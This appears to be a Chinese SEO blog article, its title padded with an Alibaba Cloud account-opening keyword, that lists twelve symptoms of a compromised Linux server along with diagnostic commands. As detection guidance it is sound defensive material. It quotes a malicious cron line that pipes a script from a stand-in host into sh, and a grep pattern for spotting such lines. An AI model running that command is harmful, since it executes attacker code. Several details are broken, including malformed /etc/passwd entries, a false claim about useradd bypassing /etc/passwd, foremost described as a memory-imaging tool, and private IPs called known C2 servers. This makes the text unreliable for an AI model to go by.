阿里云国际站官网开户 服务器被入侵症状
你有没有过这种经历?
凌晨三点,手机突然狂震——监控告警:服务器 CPU 使用率持续 98% 超过 15 分钟。
你猛灌一口冷咖啡,远程登录,top 一敲,发现一个叫 ./xmr-stak-cpu 的进程正疯狂啃食 CPU;ps aux | grep -v 'grep' | grep '\.sh$' 一跑,冒出三个名字像随机字符串的 shell 脚本;netstat -tulnp 里赫然躺着一个监听在 31337 端口、归属 UID 是 1001(根本不是你任何业务用户)的可疑程序……
那一刻你不是运维,你是 CSI:服务器犯罪现场调查员。
别急着重装系统——先停手,深呼吸。真正的入侵,从来不是“有没有”,而是“你有没有看见”。很多管理员不是败给黑客技术多高超,而是输在:把异常当抖动,把后门当 bug,把勒索信当成一封错发的营销邮件。
今天这碗干货,不聊 APT、不扯零日漏洞、不堆术语黑话。我们就蹲在机房门口、盯着终端窗口、翻着日志尾巴,一条一条告诉你:你的服务器,到底哪儿露馅了?
症状一:CPU 或内存使用率长期高企,且无合理业务对应
这是最直球的信号,但也是最容易被忽略的。注意关键词:“长期”+“无合理业务对应”。
比如:凌晨 2 点电商大促早该结束了,可 htop 显示 8 个核心全跑满;或者你查 systemctl list-timers --all,没定时任务,crontab -l 也干净得像新买的硬盘,但 vmstat 1 5 每秒都在输出 us(用户态 CPU)高达 95% 的数据。
排查口诀:ps aux --sort=-%cpu | head -10 看前 10 大耗 CPU 进程;再对每个可疑进程执行 ls -la /proc/[PID]/exe 和 cat /proc/[PID]/cmdline——如果 exe 指向 /tmp/.X11-unix/xxx 或 /dev/shm/zzz,恭喜,你家客厅刚被改成比特币矿场分部。
症状二:出现陌生、可疑或非常规路径的进程
Linux 进程名可以随便起,但路径不会说谎。正常服务进程几乎都落在 /usr/bin、/usr/local/bin、/opt/xxx/bin 或 systemd service 定义的 ExecStart 路径里。
而入侵者最爱藏身三地:/tmp(临时目录,权限宽松)、/dev/shm(内存文件系统,不留磁盘痕迹)、/var/tmp(比 /tmp 更持久,常被遗忘)。如果你看到 /tmp/.ICE-unix/666、/dev/shm/.bashrcd 或 /var/tmp/kthreadd(故意模仿内核线程名),别犹豫——这就是穿了马甲的贼。
更阴的还有:进程名是 sshd,但实际路径是 /tmp/sshd;或是 nginx 进程,却启动自 /root/.cache/xxx。记住:名字能伪造,路径难伪装,inode 才是亲爹。
症状三:系统负载飙升,但活跃进程数极少
典型矛盾体:load average 达到 20+,ps aux | wc -l 却只有 30 行左右。这意味着什么?要么是少数几个进程在死循环、疯狂 fork;要么——更常见的是——有程序在大量创建不可见线程(比如挖矿木马常用 pthread_create + 隐藏线程名)。
验证方法:cat /proc/[PID]/status | grep -i thread,看 Threads 字段是否异常高(比如单进程 200+ 线程);再用 ps -T -p [PID] 列出所有线程,观察 TID(线程 ID)是否集中在某几个 CPU 核心上打转。
症状四:不明来源的网络连接,尤其外连高频、目标 IP 奇怪
执行 netstat -tunap | grep ESTABLISHED 或更现代的 ss -tunap,重点盯三类连接:
- 源端口非业务端口:比如你的 Web 服务只该用 80/443 出站,却看到一堆 31337、55555、6666 这种“黑客纪念日端口”在往外连;
- 目的 IP 在黑名单库:复制 IP 到 VirusTotal、AbuseIPDB 查,若命中“C2 server”“CoinMiner”“Malware Distribution”,基本坐实;
- 连接行为反常:比如每 3 秒固定连一次某个俄罗斯 IP,传输量恒为 128 字节——这不是心跳,是肉鸡在报平安。
顺手补一刀:lsof -i -P -n | grep -v "127.0.0.1",过滤掉本地回环,专抓对外通道。
症状五:系统日志中频繁出现“Permission denied”“Connection refused”,但服务明明在运行
比如 /var/log/auth.log 里每分钟刷 10 条 Failed password for root from 192.168.1.100 port 22 ssh2,但你知道这台机器根本没开 SSH 密码登录(只允许密钥);又或者 /var/log/syslog 里反复报 systemd[1]: Failed to start nginx.service: Unit nginx.service not found,可你 systemctl list-unit-files | grep nginx 清清楚楚列着 enabled。
这说明什么?——有人在模拟故障、制造噪音、掩盖真实动作。就像小偷撬锁时,故意在隔壁砸玻璃引开保安。
症状六:关键系统二进制文件被替换或校验值变更
ls -la /bin/ps /usr/bin/netstat /bin/ls 看看时间戳——如果它们的修改时间比系统安装日期还新,且 owner 是 root 但 group 是未知用户,快跑!
更隐蔽的是动态链接劫持:LD_PRELOAD 环境变量被注入恶意 so 文件,导致 ps 显示时自动过滤掉某些进程。验证方法:strings /usr/bin/ps | grep -i preload;或直接用静态编译版 busybox ps 对比结果。
终极保险:部署后立刻生成 baseline:sha256sum /bin/* /usr/bin/* > /root/bin-sha256.baseline,日后定期比对。
症状七:出现陌生用户、隐藏用户或 UID 0 的额外账户
cat /etc/passwd | awk -F: '$3 == 0 {print}' —— 正常只应输出 root:x:0:0:root:/root:/bin/bash:/sbin/nologin。如果多了一行 sync:x:0:0:sync:/sbin:/bin/sync:/sbin/nologin,那是系统账户,OK;但如果冒出 adm1n:x:0:0::/root:/bin/bash:/bin/bash,赶紧删!UID 0 = root 权限,多一个就是后门钥匙多一把。
还有更狡猾的:useradd -r -s /sbin/nologin -d /tmp/.cache attacker,创建系统用户但不写入 /etc/passwd(用 shadow 技巧绕过),此时需查 getent passwd 和 awk -F: '$3 >= 1000 && $3 <= 60000 {print}' /etc/passwd 筛选普通用户范围。
症状八:计划任务(cron)里混入不明条目
查全系统 cron:crontab -l(当前用户)、crontab -u root -l、ls /etc/cron.*、ls /var/spool/cron/crontabs/。重点盯:* * * * * curl -fsSL http://mal.io/x.sh | sh 这类一行式下载执行;或者 0 3 * * * /tmp/.sysupdate.sh 这种路径可疑+命名伪官方的组合。
高级陷阱:攻击者用 @reboot 启动持久化脚本,或把恶意命令编码成 base64 写进注释行里,靠 sed 提取执行——所以别只扫“*”符号,要 grep -v '^#' | grep -E '(curl|wget|base64|sh -c)' 全文检索。
症状九:SSH 登录日志异常:来源 IP 怪异、登录时段离谱、成功次数突增
grep 'Accepted' /var/log/auth.log | tail -50,如果看到:
- 同一 IP 在 5 分钟内成功登录 12 次(正常人输错密码都比这累);
- 登录用户名是
test、admin、oracle(明显爆破试探残留); - 来源 IP 属于某 IDC(如 185.155.xxx.xxx),但你业务完全不覆盖东欧;
- 登录 Shell 是
/bin/bash,但last -i显示其 home 目录为/tmp——这已不是登录,是扎根。
立刻封 IP:iptables -A INPUT -s [IP] -j DROP,并检查 /root/.ssh/authorized_keys 是否被追加了陌生公钥。
症状十:网站页面被篡改,但源码/数据库无改动
阿里云国际站官网开户 你 git diff 没变化,SQL 查询内容正常,Nginx 配置也没动,但首页突然弹出“Hacked By XXX”的彩蛋图。这时候请直奔:curl -I yoursite.com 看响应头——如果返回 X-Powered-By: PHP/7.4.33 但你装的是 8.1,说明有中间件被劫持;或者 Content-Encoding: gzip 但 curl -H 'Accept-Encoding: identity' yoursite.com 返回原始 HTML 里藏着 iframe 注入代码。
真相往往是:WebShell 被藏在图片末尾(echo '' >> avatar.jpg),或通过 .htaccess 重写规则偷偷 include 恶意文件。用 find /var/www -name '.htaccess' -exec cat {} \; 全盘扫描。
症状十一:磁盘空间莫名耗尽,但 du -sh * 总和远小于 df -h
经典“磁盘失踪案”。df -h 显示 / 已用 99%,du -sh /* 2>/dev/null | sort -hr | head -5 加起来才 12G。怎么回事?——被删除但未释放句柄的大文件正在后台狂写。
解法:lsof +L1(列出已删除但仍被进程占用的文件);或 lsof | grep deleted | awk '{print $7,$9}' | sort -nr | head -10。常客:挖矿日志、加密勒索缓存、CC 攻击流量 dump 文件。杀掉对应 PID,空间秒回。
症状十二:系统时间频繁跳变,或 NTP 服务被篡改
timedatectl status 显示 “System clock synchronized: no”,或 ntpq -p 列出的 server 是 192.168.3.11(某已知 C2 域名解析 IP)。时间不准本身不致命,但它是很多后门的启动开关——比如某木马设定“仅在 UTC 时间 03:00–04:00 激活”,或依赖时间戳绕过日志分析。
检查:systemctl list-unit-files | grep ntp,确认启用的是 systemd-timesyncd 或正规 ntpd;再看 cat /etc/systemd/timesyncd.conf 的 NTP= 行是否被改成了钓鱼地址。
最后送你三条应急锦囊
- 先断网,再诊断:拔网线 or
ip link set eth0 down,防止横向移动或数据外泄; - 取证优先,别急着重装:用
foremost提取内存镜像,journalctl --since "2 hours ago" > incident.log快速打包关键日志; - 重装不是终点,是起点:重装后第一件事——改所有密码、轮换密钥、关掉不用端口、部署 fail2ban、开启 auditd 日志审计。
服务器不会说话,但它每秒都在写日记:/var/log/messages、/proc/cpuinfo、netstat 的每一行输出,都是它在深夜给你发的 SOS 短信。
所谓安全,不是买多少 WAF、上多贵的云防火墙;而是你愿不愿意,在每次 uptime 后多敲一句 who,在每次 df -h 后多看一眼 lsof +L1,在每次上线更新前,先 sha256sum 核对安装包。
毕竟,黑客从不指望攻破你的堡垒,他们只期待——你根本没意识到,门,早就虚掩着。

